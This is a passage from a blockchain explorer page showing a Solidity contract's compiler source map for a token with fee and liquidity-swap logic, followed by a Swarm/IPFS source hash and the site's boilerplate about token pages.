8:30:0;;;11392:15;;11378:30;;11353:55;11350:162;;;11441:14;;11429:9;:26;11484:12;;11474:7;:22;11350:162;11572:13;;-1:-1:-1;;;;;11566:19:0;;;11572:13;;11566:19;:55;;;;-1:-1:-1;11605:15:0;;-1:-1:-1;;;;;11589:32:0;;;11605:15;;11589:32;;11566:55;11562:189;;;11674:10;;11654:15;;:39;;-1:-1:-1;;;;;11674:10:0;:18;11654:19;:39::i;:::-;11642:9;:51;11722:13;;11712:7;:23;11562:189;11778:41;11793:4;11799:2;11803:6;11811:7;11778:14;:41::i;502:224::-;622:7;658:12;650:6;;;;642:29;;;;-1:-1:-1;;;642:29:0;;;;;;;;:::i;:::-;-1:-1:-1;682:9:0;694:5;698:1;694;:5;:::i;:::-;682:17;502:224;-1:-1:-1;;;;;502:224:0:o;15543:93::-;15600:11;;:28;;:11;;;;-1:-1:-1;;;;;15600:11:0;;:28;;;;;;;;;;;;:11;:28;;;;;;;;;;;;;;;;;;;;;15543:93;:::o;9178:202::-;9273:7;9298:19;9320:10;:8;:10::i;:::-;9298:32;-1:-1:-1;9348:24:0;:7;9298:32;9348:11;:24::i;:::-;9341:31;9178:202;-1:-1:-1;;;9178:202:0:o;8453:483::-;5923:10;:17;;-1:-1:-1;;5923:17:0;;;;;8555:16:::1;::::0;;8569:1:::1;8555:16:::0;;;;;::::1;::::0;;-1:-1:-1;;8555:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;8555:16:0::1;8531:40;;8600:4;8582;8587:1;8582:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8582:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;8626:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;8626:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;8582:7;;8626:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8616:4;8621:1;8616:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8616:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;8691:15:::1;::::0;8659:62:::1;::::0;8676:4:::1;::::0;8691:15:::1;8709:11:::0;8659:8:::1;:62::i;:::-;8732:15;::::0;:196:::1;::::0;-1:-1:-1;;;8732:196:0;;-1:-1:-1;;;;;8732:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;8813:11;;8732:15:::1;::::0;8855:4;;8882::::1;::::0;8902:15:::1;::::0;8732:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5963:10:0;:18;;-1:-1:-1;;5963:18:0;;;-1:-1:-1;;;;8453:483:0:o;357:136::-;415:7;442:43;446:1;449;442:43;;;;;;;;;;;;;;;;;:3;:43::i;13379:282::-;13535:7;13530:28;;13544:14;:12;:14::i;:::-;13569:44;13587:6;13595:9;13606:6;13569:17;:44::i;:::-;13629:7;13624:29;;13638:15;12047:17;;12035:9;:29;12085:15;;12075:7;:25;11991:117;16517:164;16559:7;16580:15;16597;16616:19;:17;:19::i;:::-;16579:56;;-1:-1:-1;16579:56:0;-1:-1:-1;16653:20:0;16579:56;;16653:11;:20::i;:::-;16646:27;;;;16517:164;:::o;990:132::-;1048:7;1075:39;1079:1;1082;1075:39;;;;;;;;;;;;;;;;;:3;:39::i;8945:221::-;8992:9;;:14;:30;;;;-1:-1:-1;9010:7:0;;:12;8992:30;8988:43;;;8945:221::o;8988:43::-;9064:9;;;9044:17;:29;9102:7;;;9084:15;:25;-1:-1:-1;9123:13:0;;;;9147:11;8945:221::o;13670:618::-;13817:15;13847:23;13885:12;13912:23;13950:12;13977:13;14004:27;14015:7;14024:6;14004:10;:27::i;:::-;-1:-1:-1;;;;;14060:15:0;;;;;;:7;:15;;;;;;13802:229;;-1:-1:-1;13802:229:0;;-1:-1:-1;13802:229:0;;-1:-1:-1;13802:229:0;-1:-1:-1;13802:229:0;-1:-1:-1;13802:229:0;-1:-1:-1;14060:28:0;;13802:229;14060:19;:28::i;:::-;-1:-1:-1;;;;;14042:15:0;;;;;;;:7;:15;;;;;;:46;;;;14120:18;;;;;;;:39;;14143:15;14120:22;:39::i;:::-;-1:-1:-1;;;;;14099:18:0;;;;;;:7;:18;;;;;:60;14170:16;14180:5;14170:9;:16::i;:::-;14197:23;14209:4;14215;14197:11;:23::i;:::-;14253:9;-1:-1:-1;;;;;14236:44:0;14245:6;-1:-1:-1;;;;;14236:44:0;;14264:15;14236:44;;;;1595:25:1;;1583:2;1568:18;;1449:177;14236:44:0;;;;;;;;13791:497;;;;;;13670:618;;;:::o;16690:257::-;16788:7;;16741;;;;4647:15;16856:20;16788:7;4647:15;16856:11;:20::i;:::-;16846:7;:30;16842:61;;;-1:-1:-1;;16886:7:0;;;4647:15;;-1:-1:-1;16690:257:0;-1:-1:-1;16690:257:0:o;16842:61::-;16922:7;;16931;;-1:-1:-1;16690:257:0;-1:-1:-1;16690:257:0:o;1131:223::-;1251:7;1286:12;1279:5;1271:28;;;;-1:-1:-1;;;1271:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1310:9:0;1322:5;1326:1;1322;:5;:::i;15827:681::-;15943:7;15965;15987;16009;16031;16053;16089:23;16114:12;16128:13;16158:40;16170:7;16179:9;;16190:7;;16158:11;:40::i;:::-;16088:110;;;;;;16209:19;16231:10;:8;:10::i;:::-;16209:32;;16253:15;16270:23;16295:12;16324:46;16336:7;16345:4;16351:5;16358:11;16324;:46::i;:::-;16395:10;;16252:118;;-1:-1:-1;16252:118:0;;-1:-1:-1;16252:118:0;-1:-1:-1;;;;;;16395:10:0;;;16385:20;;;;16381:40;;16418:1;16408:11;;16381:40;16439:7;;16448:15;;-1:-1:-1;16439:7:0;;-1:-1:-1;16471:15:0;;-1:-1:-1;16488:4:0;;-1:-1:-1;16488:4:0;-1:-1:-1;15827:681:0;;-1:-1:-1;;;;15827:681:0:o;169:179::-;227:7;;259:5;263:1;259;:5;:::i;:::-;247:17;;288:1;283;:6;;275:46;;;;-1:-1:-1;;;275:46:0;;12630:2:1;275:46:0;;;12612:21:1;12669:2;12649:18;;;12642:30;12708:29;12688:18;;;12681:57;12755:18;;275:46:0;12428:351:1;14297:211:0;14350:19;14372:10;:8;:10::i;:::-;14350:32;-1:-1:-1;14393:13:0;14409:22;:5;14350:32;14409:9;:22::i;:::-;14483:4;14467:22;;;;:7;:22;;;;;;14393:38;;-1:-1:-1;14467:33:0;;14393:38;14467:26;:33::i;:::-;14458:4;14442:22;;;;:7;:22;;;;;:58;-1:-1:-1;;;14297:211:0:o;11836:147::-;11914:7;;:17;;11926:4;11914:11;:17::i;:::-;11904:7;:27;11955:10;;:20;;11970:4;11955:14;:20::i;:::-;11942:10;:33;-1:-1:-1;;11836:147:0:o;14523:469::-;14692:7;;;;14786:30;14812:3;14786:21;:7;14798:8;14786:11;:21::i;:::-;:25;;:30::i;:::-;14771:45;-1:-1:-1;14827:13:0;14843:28;14867:3;14843:19;:7;14855:6;14843:11;:19::i;:28::-;14827:44;-1:-1:-1;14882:23:0;14908:28;14827:44;14908:17;:7;14920:4;14908:11;:17::i;:::-;:21;;:28::i;:::-;14882:54;14972:4;;-1:-1:-1;14978:5:0;;-1:-1:-1;14523:469:0;;-1:-1:-1;;;;;14523:469:0:o;15001:534::-;15195:7;;;;15292:24;:7;15304:11;15292;:24::i;:::-;15274:42;-1:-1:-1;15327:12:0;15342:21;:4;15351:11;15342:8;:21::i;:::-;15327:36;-1:-1:-1;15374:13:0;15390:22;:5;15400:11;15390:9;:22::i;:::-;15374:38;-1:-1:-1;15423:23:0;15449:28;15374:38;15449:17;:7;15461:4;15449:11;:17::i;:28::-;15496:7;;;;-1:-1:-1;15522:4:0;;-1:-1:-1;15001:534:0;;-1:-1:-1;;;;;;;15001:534:0:o;735:246::-;793:7;817:1;822;817:6;813:47;;-1:-1:-1;847:1:0;840:8;;813:47;870:9;882:5;886:1;882;:5;:::i;:::-;870:17;-1:-1:-1;915:1:0;906:5;910:1;870:17;906:5;:::i;:::-;:10;898:56;;;;-1:-1:-1;;;898:56:0;;13159:2:1;898:56:0;;;13141:21:1;13198:2;13178:18;;;13171:30;13237:34;13217:18;;;13210:62;-1:-1:-1;;;13288:18:1;;;13281:31;13329:19;;898:56:0;12957:397:1;14:548;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1631:456::-;1708:6;1716;1724;1777:2;1765:9;1756:7;1752:23;1748:32;1745:52;;;1793:1;1790;1783:12;1745:52;1832:9;1819:23;1851:31;1876:5;1851:31;:::i;:::-;1901:5;-1:-1:-1;1958:2:1;1943:18;;1930:32;1971:33;1930:32;1971:33;:::i;:::-;1631:456;;2023:7;;-1:-1:-1;;;2077:2:1;2062:18;;;;2049:32;;1631:456::o;2489:247::-;2548:6;2601:2;2589:9;2580:7;2576:23;2572:32;2569:52;;;2617:1;2614;2607:12;2569:52;2656:9;2643:23;2675:31;2700:5;2675:31;:::i;2741:118::-;2827:5;2820:13;2813:21;2806:5;2803:32;2793:60;;2849:1;2846;2839:12;2864:750;2956:6;2964;2972;3025:2;3013:9;3004:7;3000:23;2996:32;2993:52;;;3041:1;3038;3031:12;2993:52;3081:9;3068:23;3110:18;3151:2;3143:6;3140:14;3137:34;;;3167:1;3164;3157:12;3137:34;3205:6;3194:9;3190:22;3180:32;;3250:7;3243:4;3239:2;3235:13;3231:27;3221:55;;3272:1;3269;3262:12;3221:55;3312:2;3299:16;3338:2;3330:6;3327:14;3324:34;;;3354:1;3351;3344:12;3324:34;3409:7;3402:4;3392:6;3389:1;3385:14;3381:2;3377:23;3373:34;3370:47;3367:67;;;3430:1;3427;3420:12;3367:67;3461:4;3453:13;;;;-1:-1:-1;3485:6:1;-1:-1:-1;;3526:20:1;;3513:34;3556:28;3513:34;3556:28;:::i;:::-;3603:5;3593:15;;;2864:750;;;;;:::o;3619:388::-;3687:6;3695;3748:2;3736:9;3727:7;3723:23;3719:32;3716:52;;;3764:1;3761;3754:12;3716:52;3803:9;3790:23;3822:31;3847:5;3822:31;:::i;:::-;3872:5;-1:-1:-1;3929:2:1;3914:18;;3901:32;3942:33;3901:32;3942:33;:::i;:::-;3994:7;3984:17;;;3619:388;;;;;:::o;4012:356::-;4214:2;4196:21;;;4233:18;;;4226:30;4292:34;4287:2;4272:18;;4265:62;4359:2;4344:18;;4012:356::o;4373:127::-;4434:10;4429:3;4425:20;4422:1;4415:31;4465:4;4462:1;4455:15;4489:4;4486:1;4479:15;4505:127;4566:10;4561:3;4557:20;4554:1;4547:31;4597:4;4594:1;4587:15;4621:4;4618:1;4611:15;4637:135;4676:3;4697:17;;;4694:43;;4717:18;;:::i;:::-;-1:-1:-1;4764:1:1;4753:13;;4637:135::o;4777:251::-;4847:6;4900:2;4888:9;4879:7;4875:23;4871:32;4868:52;;;4916:1;4913;4906:12;4868:52;4948:9;4942:16;4967:31;4992:5;4967:31;:::i;5954:306::-;6042:6;6050;6058;6111:2;6099:9;6090:7;6086:23;6082:32;6079:52;;;6127:1;6124;6117:12;6079:52;6156:9;6150:16;6140:26;;6206:2;6195:9;6191:18;6185:25;6175:35;;6250:2;6239:9;6235:18;6229:25;6219:35;;5954:306;;;;;:::o;6544:245::-;6611:6;6664:2;6652:9;6643:7;6639:23;6635:32;6632:52;;;6680:1;6677;6670:12;6632:52;6712:9;6706:16;6731:28;6753:5;6731:28;:::i;10422:125::-;10487:9;;;10508:10;;;10505:36;;;10521:18;;:::i;10956:128::-;11023:9;;;11044:11;;;11041:37;;;11058:18;;:::i;11221:980::-;11483:4;11531:3;11520:9;11516:19;11562:6;11551:9;11544:25;11588:2;11626:6;11621:2;11610:9;11606:18;11599:34;11669:3;11664:2;11653:9;11649:18;11642:31;11693:6;11728;11722:13;11759:6;11751;11744:22;11797:3;11786:9;11782:19;11775:26;;11836:2;11828:6;11824:15;11810:29;;11857:1;11867:195;11881:6;11878:1;11875:13;11867:195;;;11946:13;;-1:-1:-1;;;;;11942:39:1;11930:52;;12037:15;;;;12002:12;;;;11978:1;11896:9;11867:195;;;-1:-1:-1;;;;;;;12118:32:1;;;;12113:2;12098:18;;12091:60;-1:-1:-1;;;12182:3:1;12167:19;12160:35;12079:3;11221:980;-1:-1:-1;;;11221:980:1:o;12206:217::-;12246:1;12272;12262:132;;12316:10;12311:3;12307:20;12304:1;12297:31;12351:4;12348:1;12341:15;12379:4;12376:1;12369:15;12262:132;-1:-1:-1;12408:9:1;;12206:217::o;12784:168::-;12857:9;;;12888;;12905:15;;;12899:22;;12885:37;12875:71;;12926:18;;:::i

Swarm Source

ipfs://120a29ba8f7ffc6993ef4d669800e58331c5e6032e2d1a2be4b21a0bcc476e55
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.